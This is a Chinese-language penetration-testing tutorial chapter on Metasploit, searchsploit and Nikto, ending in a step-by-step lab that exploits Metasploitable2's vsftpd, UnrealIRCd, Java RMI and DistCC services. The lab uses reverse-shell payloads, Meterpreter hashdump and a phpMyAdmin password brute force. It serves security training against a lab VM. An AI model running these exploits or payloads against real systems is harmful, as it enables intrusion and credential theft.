目录

flowchart TD
    A[漏洞评估与利用] --> B[信息收集]
    A --> C[漏洞发现]
    A --> D[漏洞利用]
    A --> E[后渗透]

    B --> B1[searchsploit<br/>离线Exploit-DB搜索]
    B --> B2[Nikto<br/>Web服务器扫描]

    C --> C1[msfconsole<br/>search / use / info]
    C --> C2[nmap --script=vuln<br/>NSE漏洞检测]
    C --> C3[searchsploit<br/>按CVE/版本搜索]

    D --> D1[exploit<br/>漏洞利用模块]
    D --> D2[auxiliary<br/>辅助扫描/爆破模块]
    D --> D3[Payload 选择<br/>reverse_tcp / bind_tcp]

    E --> E1[sessions<br/>会话管理]
    E --> E2[Meterpreter<br/>sysinfo/hashdump/shell]
    E --> E3[Post模块<br/>提权/持久化/信息收集]

    B1 --> C1
    B2 --> C1
    C1 --> D1
    C2 --> D1
    C3 --> D1
    D1 --> E1
    D2 --> E1
    D3 --> E2
    E1 --> E2
    E2 --> E3

一、Metasploit 框架完整教程

相关模块: Linux 基础 | 信息收集 | 网络扫描

1.1 Metasploit 架构概述

核心组件:

组件说明
Exploit漏洞利用代码, 攻击特定漏洞获取访问权限
Payload漏洞利用成功后在目标执行的代码
Encoder编码/混淆payload以绕过杀软
Post后渗透模块 (提权, 信息收集, 持久化等)
Auxiliary辅助模块 (扫描, 嗅探, DoS等)

常用Payload类型:

Payload说明
Reverse shell目标回连攻击机 (最常见)
Bind shell目标开放端口等待攻击机连接
MeterpreterMetasploit的高级payload, 功能最丰富
Shell简单的命令Shell

1.2 MSFConsole 启动与界面

msfconsole              # 启动 (首次启动较慢, 需初始化数据库)
msfconsole -q           # 安静模式启动 (跳过banner)
msfconsole -r script.rc # 加载资源脚本
 
# 初始化数据库
msfdb init              # 初始化PostgreSQL数据库 (首次使用)
msfdb start             # 启动数据库
# (在msfconsole中)
db_status               # 检查数据库状态

1.3 核心操作命令

搜索模块:

search ms17-010                        # 按关键词搜索
search type:exploit platform:windows   # 按类型和平台搜索
search cve:2017-0144                   # 按CVE编号搜索
search name:eternalblue                # 按名称搜索
search type:auxiliary scanner smb      # 搜索辅助扫描模块

选择和使用模块:

use exploit/windows/smb/ms17_010_eternalblue  # 使用指定模块
use auxiliary/scanner/smb/smb_ms17_010       # 使用辅助模块

查看模块信息:

info                          # 查看当前模块详细信息
show options                  # 查看当前模块的参数
show targets                  # 查看支持的目标系统
show payloads                 # 查看适用的payload
show advanced                 # 查看高级参数
show missing                  # 查看未设置的必填参数

设置参数:

set RHOSTS 192.168.1.100     # 设置远程目标IP
set RHOST 192.168.1.100      # 单目标用RHOST
set LHOST 10.0.0.1           # 设置本地监听IP
set LPORT 4444               # 设置本地监听端口
set RPORT 445                # 设置远程端口
set USERNAME admin           # 设置用户名
set PASSWORD password123     # 设置密码
set TARGETURI /              # 设置目标URI路径
set THREADS 10               # 设置线程数
set VERBOSE true             # 启用详细输出

全局变量 (跨模块有效):

setg RHOSTS 192.168.1.100    # 设置全局变量
setg LHOST 10.0.0.1
unsetg RHOSTS                # 取消全局变量

1.4 Payload 管理

选择Payload:

show payloads                       # 查看所有可用payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp   # 设置payload
show options                        # 重新查看参数 (payload可能有新参数)

常用Payload:

windows/meterpreter/reverse_tcp           # Windows反向TCP Meterpreter
windows/x64/meterpreter/reverse_tcp       # Windows x64反向TCP Meterpreter
windows/meterpreter/bind_tcp              # Windows正向TCP Meterpreter
linux/x86/meterpreter/reverse_tcp         # Linux反向TCP
php/meterpreter/reverse_tcp               # PHP Meterpreter
java/meterpreter/reverse_tcp              # Java Meterpreter
generic/shell_reverse_tcp                 # 通用反向Shell

1.5 执行利用与会话管理

运行模块:

run                   # 运行辅助模块
exploit               # 执行exploit (同run)
exploit -j            # 作为后台任务运行
exploit -z            # 运行后不自动与会话交互

Jobs管理:

jobs                  # 列出后台任务
jobs -K               # 终止所有后台任务
jobs -k <id>          # 终止指定任务

会话管理:

sessions -l           # 列出所有活跃会话
sessions -i 1         # 进入会话1
sessions -u 1         # 将shell会话升级为meterpreter
sessions -k 1         # 终止会话1
sessions -K           # 终止所有会话
# (在会话中) background 或 Ctrl+Z  # 将当前会话放入后台

1.6 Meterpreter 核心命令

系统信息:

sysinfo               # 系统信息 (OS, 架构, 主机名等)
getuid                # 查看当前用户
getpid                # 查看当前进程ID
getprivs              # 查看当前权限
ps                    # 列出进程
getsystem             # 尝试提权到SYSTEM (Windows)
shell                 # 进入系统Shell
execute -f cmd.exe -i # 执行命令并交互

文件系统:

pwd                   # 当前工作目录
ls                    # 列出文件
cd dir                # 切换目录
cat file.txt          # 查看文件内容
download file.txt     # 下载文件到本地
upload /local/file    # 上传文件到目标
edit file.txt         # 编辑文件
rm file.txt           # 删除文件
mkdir dir             # 创建目录

网络与信息收集:

ipconfig / ifconfig   # 网络接口信息
route                 # 路由表
portfwd add -L 0.0.0.0 -l 3388 -p 3389 -r 10.0.0.10  # 端口转发
hashdump              # 获取Windows密码hash
arp                   # ARP表
netstat               # 网络连接

二、searchsploit 使用

2.1 工具介绍

searchsploit 是 Exploit-DB 的离线搜索工具, 包含大量已验证的 exploit代码。在ArchStrike中数据位于 /usr/share/exploitdb/

2.2 基本搜索

# 基础搜索
searchsploit wordpress                    # 搜索WordPress相关漏洞
searchsploit smb windows                  # 搜索Windows SMB漏洞
searchsploit apache 2.4                   # 搜索Apache 2.4
searchsploit php remote code execution    # 精确搜索
 
# 高级搜索
searchsploit -t oracle                   # 搜索标题
searchsploit -p 42033                    # 显示完整路径
searchsploit --cve CVE-2017-0144        # 按CVE搜索
searchsploit --exclude="dos" ssh        # 排除DoS
searchsploit -w wordpress               # 用浏览器打开Exploit-DB链接

2.3 查看和复制 Exploit

# 查看exploit内容
searchsploit -x 42033                    # 使用默认编辑器查看
 
# 复制到当前目录
searchsploit -m 42033                    # 复制(mirror)到当前目录
searchsploit -m 42033 -t                 # 使用英文标题作为文件名
 
# 导出搜索结果
searchsploit -j wordpress > results.json # JSON格式输出

2.4 常用搜索模式

searchsploit "remote" "linux" "kernel"     # Linux内核提权
searchsploit "local" "windows" "privilege" # Windows本地提权
searchsploit "ftp" "remote"               # FTP远程漏洞
searchsploit "web" "xss"                  # XSS漏洞
searchsploit "sqli" "wordpress"           # SQL注入

三、Nikto Web 漏洞扫描

3.1 工具介绍

Nikto是一个开源Web服务器扫描器, 检测:

  • 危险文件和CGI
  • 过时/有漏洞的软件版本
  • 服务器配置问题 (如目录列表)
  • 默认文件和程序
  • 不安全的HTTP方法

3.2 基本扫描

# 基本扫描
nikto -h http://192.168.1.100
 
# 指定端口
nikto -h http://192.168.1.100 -p 8080
 
# HTTPS扫描
nikto -h https://192.168.1.100
 
# 输出格式
nikto -h http://192.168.1.100 -o nikto_report.html -Format html
nikto -h http://192.168.1.100 -o nikto_report.txt -Format txt
nikto -h http://192.168.1.100 -o nikto_report.csv -Format csv
 
# 带认证的扫描
nikto -h http://192.168.1.100 -id admin:password
 
# 通过代理扫描
nikto -h http://192.168.1.100 -useproxy http://127.0.0.1:8080

3.3 高级选项

Tuning 选项 (测试类型):

ID测试类型
1有趣文件
2配置错误
3信息泄露
4注入 (XSS/Script)
5远程文件检索
6拒绝服务
7远程文件检索 (特定目录)
8命令执行
9SQL注入
0Shellshock
# 调整扫描类型
nikto -h http://target -Tuning 1234567890  # 启用所有测试
nikto -h http://target -Tuning 123457890   # 排除XSS (去掉4)
 
# 自定义User-Agent
nikto -h http://target -useragent "Mozilla/5.0"
 
# 使用Nmap输出作为Nikto输入
nmap -p80,443 192.168.1.0/24 -oG - | nikto -h -

四、实践练习

目标: 使用Metasploit对Metasploitable2进行完整攻击获取Shell

sequenceDiagram
    participant A as 攻击机 (msfconsole)
    participant T as Metasploitable2
    participant R as 报告

    Note over A,R: === 环境准备 ===
    A->>T: Step 2: ping 确认连通性
    A->>A: Step 3: msfdb start + msfconsole -q

    Note over A,R: === SMB 扫描 ===
    A->>T: Step 4: auxiliary/scanner/smb/smb_version
    T-->>A: Unix Samba 3.x
    A->>T: Step 5: scanner/smb/smb_ms17_010

    Note over A,R: === VSFTPD 后门 (端口21) ===
    A->>T: Step 6: exploit/unix/ftp/vsftpd_234_backdoor
    T-->>A: Root Shell!
    A->>T: whoami → root

    Note over A,R: === IRC 后门 (端口6667) ===
    A->>T: Step 8: exploit/unix/irc/unreal_ircd_3281_backdoor
    T-->>A: Root Shell via IRC

    Note over A,R: === Java RMI (端口1099) ===
    A->>T: Step 12: exploit/multi/misc/java_rmi_server
    T-->>A: Meterpreter Shell
    A->>T: sysinfo / getuid / shell

    Note over A,R: === DistCC (端口3632) ===
    A->>T: Step 14: exploit/unix/misc/distcc_exec
    T-->>A: RCE Shell

    Note over A,R: === Web 扫描 & 报告 ===
    A->>T: Step 16: nikto -h http://$TARGET
    A->>R: Step 18-19: 生成利用总结<br/>sessions -K 退出

阶段一: 环境准备

# Step 1: 启动Metasploitable2虚拟机
# 确认靶机已启动 (如模块03确定IP地址)
 
# Step 2: 确认网络连通性
ping -c 3 192.168.1.100
export TARGET=192.168.1.100
 
# Step 3: 启动Metasploit
sudo msfdb start             # 启动数据库
msfconsole -q                # 启动MSF

阶段二: SMB漏洞扫描

# Step 4: 扫描SMB版本 (在msfconsole中)
use auxiliary/scanner/smb/smb_version
set RHOSTS $TARGET
run
# 记录SMB版本信息 (通常是Unix Samba 3.x)
 
# Step 5: 检查MS17-010 (EternalBlue) 漏洞
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS $TARGET
run
# Metasploitable2的Samba版本可能不适用, 但这是标准练习

阶段三: 利用VSFTPD后门 (端口21)

# Step 6: 利用VSFTPD v2.3.4后门漏洞
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS $TARGET
set RPORT 21
show targets
exploit
# 成功后你将获得一个root shell!
whoami                    # 应显示root
id
hostname
cat /etc/passwd | head -5
exit                      # 退出shell
sessions -l               # 查看会话

阶段四: 利用UnrealIRCd后门 (端口6667)

# Step 7: 扫描确认IRC端口
use auxiliary/scanner/portscan/tcp
set RHOSTS $TARGET
set PORTS 6667
run
 
# Step 8: 利用IRC后门
search unrealircd
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS $TARGET
set RPORT 6667
show payloads
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.1.50     # 替换为你的攻击机IP
set LPORT 4445
exploit
# 获得shell后:
whoami
ps aux
ls /home

阶段五: 利用phpMyAdmin (HTTP端口80)

# Step 9: 在Firefox浏览器中访问phpMyAdmin
# http://192.168.1.100/phpMyAdmin/
# 查看是否可以直接访问或需要登录
 
# Step 10: 使用metasploit爆破phpMyAdmin
use auxiliary/scanner/http/phpmyadmin_login
set RHOSTS $TARGET
set USERNAME root
set PASS_FILE /usr/share/wordlists/fasttrack
run

阶段六: 利用Java RMI (端口1099)

# Step 11: 扫描Java RMI
use auxiliary/scanner/misc/java_rmi_server
set RHOSTS $TARGET
run
 
# Step 12: 利用Java RMI漏洞
search java_rmi
use exploit/multi/misc/java_rmi_server
set RHOSTS $TARGET
set RPORT 1099
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4446
exploit
# 获得Meterpreter shell后:
sysinfo
getuid
shell
# (输入一些linux命令)
exit
background                # 将会话放入后台

阶段七: 利用DistCC (端口3632)

# Step 13: 扫描DistCC
nmap -p 3632 --script distcc-cve2004-2687 $TARGET
 
# Step 14: 利用DistCC漏洞
search distcc
use exploit/unix/misc/distcc_exec
set RHOSTS $TARGET
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.1.50
set LPORT 4447
exploit
# 获得shell后执行命令确认权限

阶段八: 管理所有会话

# Step 15: 管理所有会话
sessions -l              # 列出所有会话
sessions -i 1            # 进入会话1
sysinfo shell
background
# 重复操作查看不同的会话

阶段九: 使用Nikto综合扫描Web

# Step 16: 在另一个终端中, 运行Nikto扫描
# 退出或暂停Metasploit (Ctrl+Z 放入后台)
nikto -h http://$TARGET -o nikto_scan.html -Format html
cat nikto_scan.html | grep -i "vulnerability\|OSVDB\|warning"
 
# Step 17: 在Firefox中查看Nikto报告
# Firefox打开: file:///root/scan/ms2/nikto_scan.html

阶段十: 撰写实践报告

# Step 18: 记录所有成功的利用
echo "=== Metasploitable2 利用总结 ===" > exploit_summary.txt
echo "日期: $(date)" >> exploit_summary.txt
echo "" >> exploit_summary.txt
echo "成功利用的漏洞:" >> exploit_summary.txt
echo "1. VSFTPD v2.3.4 Backdoor (Port 21) - Root Shell" >> exploit_summary.txt
echo "2. UnrealIRCd Backdoor (Port 6667) - Root Shell" >> exploit_summary.txt
echo "3. Java RMI (Port 1099) - Meterpreter" >> exploit_summary.txt
echo "4. DistCC (Port 3632) - Remote Code Execution" >> exploit_summary.txt
echo "" >> exploit_summary.txt
echo "安全影响:" >> exploit_summary.txt
echo "- 多个服务以root权限运行" >> exploit_summary.txt
echo "- 多个后门可直接获取完整系统控制权" >> exploit_summary.txt
echo "- 修复建议已记录" >> exploit_summary.txt
 
# Step 19: 关闭所有会话并退出
sessions -K
exit -y       # 退出msfconsole

注意事项与提示:

  • Metasploitable2仅用于学习, 绝不要部署在公网
  • 攻击过程中注意观察各服务的日志 (/var/log/)
  • 利用成功后, 立即验证实际权限 (whoami, id)
  • VSFTPD后门利用后应立即获得root, 这是最直接的利用方式
  • 如果不确定LHOST, 在终端运行: ip addr show | grep inet
  • Meterpreter比普通shell功能丰富得多, 优先使用
  • 每个利用成功后先执行shell进入系统操作
  • 练习不同payload类型: cmd/unix/reverse, java/meterpreter, linux/x86/meterpreter
  • 记录每个利用所需的确切命令, 这对报告和复现很重要
  • 如果不确定某个模块的参数, 使用 show info 查看详细说明

总目录 | 上一章: 网络扫描